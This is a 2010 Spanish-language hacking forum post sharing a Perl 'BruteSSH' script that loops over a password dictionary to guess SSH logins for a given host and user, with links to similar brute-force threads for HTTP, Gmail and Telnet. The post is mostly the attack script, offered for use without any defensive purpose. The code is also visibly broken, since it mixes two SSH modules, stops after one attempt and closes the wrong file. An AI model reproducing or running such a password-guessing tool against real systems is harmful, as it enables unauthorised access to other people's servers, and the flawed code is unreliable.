help_outline
Ayudanos!
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Brute SSH

  • 0 Respuestas
  • 1291 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado ProcessKill

  • *
  • Underc0der
  • Mensajes: 154
  • Actividad:
    0%
  • Reputación 0
  • Arriba los hackers de Argentina!
    • Ver Perfil
    • Email
« en: Febrero 24, 2010, 04:32:53 pm »
Código: Perl
  1. #!/usr/bin/perl
  2. #c0dex by m0x.lk
  3. system ("clear");
  4. system ("cls");
  5. system ("color 02");
  6. print "\n\n";
  7. print "\t\t\tc0dex by m0x.lk\n\n";
  8. print "\tm0x.lk || Fucker Team";
  9. print "\t\t BruteSSH by m0x.lk\n";
  10.  
  11. use strict();
  12. use Net::SSH;
  13.  
  14. $host=$ARGV[0];
  15. $user=$ARGV[1];
  16. $passdict=$ARGV[2] || die "\n[+]Perl Usage: BruteSSH.pl host user dict\n";
  17. print "\n\n";
  18. $i = 1;
  19. open (D,"<$passdict") or die "Diccionario no encontrado\n";
  20. while(<D>)
  21. {
  22. $try = $_;
  23.     chomp $try;
  24.  
  25.         $t = my $ssh = Net::SSH::Perl->new($host,debug=>1,use_pty=>1);
  26.    $ssh->login($user, $try);
  27. print "\n";
  28. print "[+] Obteniendo Pass";
  29. print "\n";
  30.                 print $i++ . ": Fallo - $try\n";
  31.  
  32.                 print "'$try - $i intentos";
  33.                 last;
  34.         $t->close;
  35. }
  36. close(IN);
« Última modificación: Marzo 14, 2015, 09:45:56 am por Expermicid »

 

¿Te gustó el post? COMPARTILO!



Http Brute Force

Iniciado por @ed33x

Respuestas: 0
Vistas: 1270
Último mensaje Enero 27, 2011, 08:45:35 pm
por @ed33x
Brute GMail [perl]

Iniciado por ProcessKill

Respuestas: 0
Vistas: 1040
Último mensaje Febrero 24, 2010, 04:33:14 pm
por ProcessKill
Brute Telnet [PERL]

Iniciado por ProcessKill

Respuestas: 0
Vistas: 1161
Último mensaje Febrero 24, 2010, 04:33:36 pm
por ProcessKill